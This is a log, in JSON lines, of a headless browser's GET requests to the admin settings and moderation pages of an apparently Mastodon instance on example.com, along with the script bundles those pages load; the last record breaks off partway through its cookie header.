{"method": "GET", "target": "/packs/mode-BXhrwYK6.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/branding", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/about", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzYuMTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9220fe50abfaa4c306d2aa2e9e034fb50bb9f432; _mastodon_session=t%2F4hgjOPdOAtu6F8xiTl14l%2FJSr76DTwhRNrlaQuUZnkI0alRcDm3qVuUtUMAyGTp%2F7QWk8LdcVU6jdXPtA3DxfRwH18GOIl3Wm8%2FlCZZQoGrTH%2BeeyfS60yLJJWzaDffVVKcQsjuoVozayrYIrUNGxh9cyx%2FCMazyJgn37fiUtTB0C1qWodehVBBMlucX2t9ndSJGDY9i8NxccJZtnlzJw06arpWbs77NGEwxsb4%2F2bwe56wiWEvuDCa6vNg0tlLjgbUdmJ5oHezrLlET0SdK0BfDUGV0jV4kzCxz3%2F8nL1SJeTjjIDYwSngBGQATHH9C1MwNW6JEsPNni%2FLOr1gBRMBSptT6zcS8RO8%2B3Xyf3M2jh3CpsAetvUTR7NBiKLPudlogpat%2FtJ--rBsC6h%2Fj%2FS4otufO--cMLDjKqMLE9%2Fe%2BcKSgbHsw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/emojis-BYdy4VJS.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/about", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/registrations", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6MzkuMTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c011955b47238357621778a1c0e8c80b52ff55e; _mastodon_session=FJW4bQQECmtYQ%2FRON0iG78XJgXf6%2Fiz0UlmJiloA82VptJel3Rdja3fxsrp4cOmxb7sDkVhdSJLcs8ZYR7mURo2eBgX3nGIW2y6iKLfzCB%2BqCcDXGwVm8r8jCty2geiKlukvP8VJyRYEr8364NXTvfSuJiTBXBVGh9A86ZCiMS%2B2Hs1g0Vdyu33mog721KzqoBLd11wmWecKiOEmVxmeq9ucFWLTogr5kbi5Ls2G9TNqy5P7L8X%2BPm2AwXfGEqrK6pcqaAffR1bBcTqpn58xVrjoCPUBumQ%2Bu5iQR8rTaHl4XWrwRdVXQNNEyn%2F%2BWMrZZo6dhi8nBOoKdP9qM9qtF4D4%2F6jois769QPLjuuMd2FJB%2B8m9PvVWZYl46UVvAiAraGvkN51g2Mu--B2JgMKnl2%2BaGOWE%2B--MrWNFOUDaKkNx3%2FK4KO8gw%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/push_notifications-C0ir4q-Q.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/registrations", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; _mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/content_retention", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDIuMTkxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b91b5e12f13b3d68f80b28f3c73ef275cd95a182; _mastodon_session=5DSuCHGu0UQ9v0pjooV2%2BsCJRJ77ODBg4qoGDyx1UbespweUiRMhMQpE6hyDEgXcvuHhMrTyKSF9n17EPlsivJOh1dcasfgyXC9CZqJql%2BokU90Lh99wjlvYtwuuphFzV5feireHROmj0OU10acANYRrDL%2BjY4Mdxk%2Fv72%2BYlJHOENH7QCYfB38dobmrZpTLftZcvVt3EWTuzVX653eSZPMGYKZ3FpKOgW990agSqXGtYbMtfjQ9FQUn9woDAlgwLGsbTeEAIXu2PWCcgu3pvvh003qYkbvqbcLfEHTkFsl996JUqRl9Nln8TpARpCCAuaBY2uBnuztfnSxGM%2BlGmbXtixxw%2B4D52jThyxu2IJnYx1kvB7rtjRXeDId4d4BLmx7aTvy8FC0E--MLfark95SAh84Tqa--NQV0DE0W%2B5LohZU9zMuqEA%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/throttle-DJD3CaHb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/content_retention", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/discovery", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDUuMTc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ea66ad57c7fc6a1963fb5f4ecaa0c77b97bc14f3; _mastodon_session=W%2BYRDAFlL3XcXBJ6d%2BvoxNjWTKambeyU1Yw5lNA%2Bq4PTMeo3chc42HECv5YzaxXw77Q7krxdmfIAhCGVMv%2FvAPsEP1nq2SzYTeRSoJ2RyRs8t7WA%2FPDEVKHo%2B9JWNnRp5Wn%2BVCWpfnp045LLeRg2tUfjXNpmGYN3AI55mKI1dTGsu21xsUcmSjeHyMhMlFGwhEq7IGqHAgExLGsItN1NEBdrHnZiWL1hohRX%2B2DGHJzbkrpnevPiGxs%2FCVwL77%2FJZHKHOwRFvyFJnS1tdmrVJroZfcQuiB%2BslOdrB9H%2FXmGSRtQd5ooF2q6V3yv%2BD%2FnMfAa3teKWdM%2Fv5jz2P9G3rwZKtv83EzLkRLHzvqIwNS9HzR103jjiz6O7gHcItL0ZJ0tVZA6u7f%2Fz--9RJDmsBidy5FZTvM--OGCb4tNNPvCCCYcUoLdidg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/axios-0On1V31i.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/settings/discovery", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NDguMTgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d390a921649454c7b9b1431a575f9d74aedd6971; _mastodon_session=dUDcD37eOzq50lmYnza3bo2hnpa4%2BfHuFk7Or8uIjPCj3mJ%2FGUhj5%2BX9YAswUkaKijYtVkliQhBTwL66uC2xzdQRQIAxIqmIcrMNb1cljBvcRkwrmr%2FDrvjRR8viLdOOcSk4UOOtRdEdVokKK8YdOWgSo0kK4w14fOCXCj7uY14Q7HjwP1V8v86Ce3TbW%2FwClzqBTeoJgphpSLg0ajpHmkRS%2BjJI4e8xwvjZ3d3IvBqn%2FqsqWFAQL8j5pTIZnIVxXbiWJHaPK56i9WCwSQLOnI%2BMOMsTuD3qBr1ZYGw9ISMiXhvaWPvCvOhXYF%2BfgA2%2FmKd4HSLdn84banWuOwJ%2B4Fr1VHX5MV2u4lDJsw5s%2ByIA1jaRpixC2LUECUKu25KweVFH%2FFUcnBmv--XTgEY4dvioDMj1V%2F--5k1JSUDABaTZYGCZMhHc9w%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/domain_blocks/new?_domain=spam.example", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTEuMTcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--652e324b3683ef5d0a7247fa62edc89f5f65cde9; _mastodon_session=i%2FWyOetWrF3Elz8DxqU2fGZ%2BdLjMAGugYAZsHuDH6gJhDYhH3dON6xjpSZmBlheevw4Up4zxf9KGvtvYzjeSbWisn4DpP8V4XOtKpG73wZH9MRkkCmAKB%2Fq2Q%2FN9h%2Be1Uf9UiJt2Y2MQZ1VzxMlmHMzRyEoBq6Fn%2FY0urtcTc5iVeRFDyHytWJCkntPhlQqPa8Dv7FpZGz4drJ%2BSKHNPG4DkI0A1OB%2BnB4wRC2CKG2X1kmoktqbcqJkpr%2BN3bWHBu5TDMKKa1jbSMBmhecRUMCX%2BE2k2iXy6eR98nIz%2B0AIHMqksg49JFRUP3Hkz%2BtUbmw86XWuFEMMM2taER7E%2BtCp34oOXjy0%2FINsM5nULIPpVVk3vCLN9MVhI9JJiw0mOy04%2BPG1FWfOj--Zw3RxKnvAhvCUPKu--nEyrCjhp9MTeoFb%2BpNYgjg%3D%3D"], "body": ""}
{"method": "GET", "target": "/packs/locale-D-1rLaCQ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/admin/domain_blocks/new?_domain=spam.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; _mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/email_domain_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTQuMTI5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f15a7254c8c6644bf5a61b4d7d6da1831627d811; _mastodon_session=36kr%2FwxkxqtvacFejAgITOOxTfkTW6e6njRqGLwpKYMkic7kTjznQJOg2sJi8uwOx0q8A%2FAdSsVAbo7rp3uYgUe0%2FXQxY68BN4RLP%2FMewevr2KrOtlW6xKvoxSYd%2FmpN4y81ZsZ0MkD8tFYI1FqZiG%2BxEHpNVGkCqh8zvUZiw7I%2BQJAWlkJ85odpllXS33gsA%2FhMc8p5cYxS6x56wS4wXKwqIjwr%2BWb9ArYh8I%2B2Mw3V7wCz8dGIpId5htc2zw1EXXq%2FXXPqX8kJ6DmBMG6FGG2J069PP5weBXZhmUWzayvCH%2BX33y%2FFCAOaUioVk5jh%2FC1ERf42vqPyTR2O86OI%2FIuguFrhQZBhAOVa%2FZ5%2FsKXnLHnfm42EinKIjdsKHBLl%2FEgTENZQirW5--1jubfsoXN%2BekAxaT--Y8eJCV32gItIwWHP4PscPA%3D%3D"], "body": ""}
{"method": "GET", "target": "/admin/ip_blocks", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqQXlZekk1Wm1WaFpUQm1PV0l3WkRnMU1tTmlZakkxTURCbFlqQmtabUUxSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTg6NTcuMTI3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e14306d2e3edc5e975e433650876ac1abe3a21b; 